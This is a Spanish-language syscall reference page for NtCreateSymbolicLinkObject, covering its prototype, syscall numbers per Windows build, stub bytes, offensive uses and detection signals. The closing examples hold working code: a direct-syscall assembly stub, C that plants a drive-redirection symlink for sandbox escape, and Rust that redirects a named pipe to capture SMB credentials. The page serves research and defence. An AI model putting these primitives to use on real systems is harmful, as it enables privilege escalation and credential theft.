NtCreateSymbolicLinkObject
Crea un enlace simbólico del object manager desde un nombre hacia una cadena destino NT arbitraria.
Prototipo
NTSTATUS NtCreateSymbolicLinkObject( PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING LinkTarget );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| LinkHandle | PHANDLE | out | Recibe el handle al nuevo objeto enlace simbólico. |
| DesiredAccess | ACCESS_MASK | in | Típicamente SYMBOLIC_LINK_ALL_ACCESS o SYMBOLIC_LINK_QUERY. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Nombre del enlace, RootDirectory opcional y banderas de atributo. |
| LinkTarget | PUNICODE_STRING | in | Ruta NT objetivo a la que se resuelve el enlace. No validada — puede apuntar a cualquier punto del namespace. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xB2 | win10-1507 |
| Win10 1607 | 0xB5 | win10-1607 |
| Win10 1703 | 0xB8 | win10-1703 |
| Win10 1709 | 0xB9 | win10-1709 |
| Win10 1803 | 0xBA | win10-1803 |
| Win10 1809 | 0xBB | win10-1809 |
| Win10 1903 | 0xBC | win10-1903 |
| Win10 1909 | 0xBC | win10-1909 |
| Win10 2004 | 0xC0 | win10-2004 |
| Win10 20H2 | 0xC0 | win10-20h2 |
| Win10 21H1 | 0xC0 | win10-21h1 |
| Win10 21H2 | 0xC1 | win10-21h2 |
| Win10 22H2 | 0xC1 | win10-22h2 |
| Win11 21H2 | 0xC5 | win11-21h2 |
| Win11 22H2 | 0xC6 | win11-22h2 |
| Win11 23H2 | 0xC6 | win11-23h2 |
| Win11 24H2 | 0xC8 | win11-24h2 |
| Server 2016 | 0xB5 | winserver-2016 |
| Server 2019 | 0xBB | winserver-2019 |
| Server 2022 | 0xC4 | winserver-2022 |
| Server 2025 | 0xC8 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 C8 00 00 00 mov eax, 0xC8 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
SSN deriva de `0xB2` (1507) a `0xC8` (24H2); resolver dinámicamente al apuntar a varios builds. Los symlinks del object manager son completamente distintos de los symlinks NTFS / reparse points — viven en el namespace de objetos en memoria y se evalúan perezosamente al resolver el nombre. Las letras DOS estándar que ves en Explorer (`C:`, `D:`) son en realidad enlaces simbólicos `\\??\\C: -> \\Device\\HarddiskVolume3` plantados por Session Manager. Crear enlaces en el `\\??` por sesión normalmente solo requiere DIRECTORY_CREATE_OBJECT sobre ese directorio (no privilegiado desde una sesión interactiva normal); crear en `\\GLOBAL??` o con OBJ_PERMANENT requiere SeCreateSymbolicLinkPrivilege (por defecto en admins).
Uso común por malware
La primitiva ofensiva estrella para **fuga de sandbox**: plantar `\\??\\X -> \\??\\C:` (o cualquier cosa) dentro del directorio DOS device por sesión y cualquier lookup posterior que toque el enlace queda redirigido. La familia CVE-2019-0808 abusó exactamente este patrón para forzar a servicios privilegiados a escribir en ubicaciones controladas por el atacante. Combinado con `NtFsControlFile(FSCTL_SET_REPARSE_POINT)` para redirección a nivel NTFS (symboliclink-testing-tools de Forshaw), se obtienen cadenas completas de redirección FS. Pilar de CTF porque la primitiva está al alcance no privilegiado de cualquier proceso que pueda abrir `\\??` con CREATE_OBJECT. Variaciones modernas: `\\??\\NamedPipe\\...` (plantar redirección de pipe para que un cliente SMB autenticado se conecte al pipe nombrado del atacante y divulgue credenciales), y exposición `\\??\\GLOBALROOT\\Device\\...` (symlink por sesión que evade el filtro de ruta GLOBALROOT en muchas sandboxes).
Oportunidades de detección
La creación de symlink por procesos no del sistema es rara y de altísimo valor. Sysmon no la registra directamente, pero **ObRegisterCallbacks en modo kernel sobre `IoSymbolicLinkObjectType`** captura cada creación en origen. Microsoft Defender for Endpoint tiene desde ~2020 una regla conductual que marca creaciones de symlink desde procesos medium-IL hacia `\\??` apuntando de vuelta a `\\??\\C:` o `\\Device\\Harddisk*`. ETW Microsoft-Windows-Kernel-Audit-API-Calls también lo expone. La señal más fuerte: **un proceso no admin crea un symlink cuyo destino empieza por `\\Device\\`, `\\??\\GLOBALROOT\\` u otra letra `\\??\\`** — esos patrones de redirección no aparecen prácticamente nunca en código legítimo.
Ejemplos de syscalls directos
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtCreateSymbolicLinkObject (SSN 0xC8, Win11 24H2)
NtCreateSymbolicLinkObject PROC
mov r10, rcx ; syscall convention
mov eax, 0C8h ; SSN (BUILD-SPECIFIC, resolve dynamically)
syscall
ret
NtCreateSymbolicLinkObject ENDPcPlant \??\X -> \??\C: for path redirection
// Plant an object-manager symlink: \??\X -> \??\C:
// A subsequent CreateFile("X:\\Users\\victim\\...") will resolve through the
// link and hit the chosen target. Used as a stepping stone in CVE-2019-0808
// -style sandbox-escape chains.
#include <windows.h>
#include <winternl.h>
#define SYMBOLIC_LINK_ALL_ACCESS 0xF0001
#define OBJ_CASE_INSENSITIVE 0x00000040
typedef NTSTATUS (NTAPI *pNtCreateSymbolicLinkObject)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PUNICODE_STRING);
BOOL PlantDriveSymlink(WCHAR letter, PCWSTR target) {
pNtCreateSymbolicLinkObject NtCreateSymbolicLinkObject =
(pNtCreateSymbolicLinkObject)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtCreateSymbolicLinkObject");
WCHAR path[16];
swprintf_s(path, 16, L"\\??\\%lc", letter);
UNICODE_STRING usName; RtlInitUnicodeString(&usName, path);
UNICODE_STRING usTgt; RtlInitUnicodeString(&usTgt, target);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hLink = NULL;
NTSTATUS s = NtCreateSymbolicLinkObject(
&hLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &usTgt);
return NT_SUCCESS(s);
}rustNamedPipe symlink for SMB credential capture
// Cargo: ntapi = "0.4", widestring = "1"
// Plant \??\PIPE\srvsvc -> \??\PIPE\attacker so that an authenticated SMB
// client connecting via UNC \\victim\IPC$\srvsvc lands on the attacker's pipe.
// Used in NTLM-relay and credential-coercion PoCs.
use ntapi::ntobapi::NtCreateSymbolicLinkObject;
use ntapi::ntrtl::RtlInitUnicodeString;
use winapi::shared::ntdef::{OBJECT_ATTRIBUTES, UNICODE_STRING};
use widestring::U16CString;
pub unsafe fn plant_pipe_symlink(name: &str, target: &str) -> bool {
let wn = U16CString::from_str(name).unwrap();
let wt = U16CString::from_str(target).unwrap();
let mut usn: UNICODE_STRING = std::mem::zeroed();
let mut ust: UNICODE_STRING = std::mem::zeroed();
RtlInitUnicodeString(&mut usn, wn.as_ptr());
RtlInitUnicodeString(&mut ust, wt.as_ptr());
let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
oa.ObjectName = &mut usn;
oa.Attributes = 0x40; // OBJ_CASE_INSENSITIVE
let mut h: isize = 0;
let s = NtCreateSymbolicLinkObject(&mut h as *mut _ as _, 0xF0001, &mut oa, &mut ust);
s >= 0
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20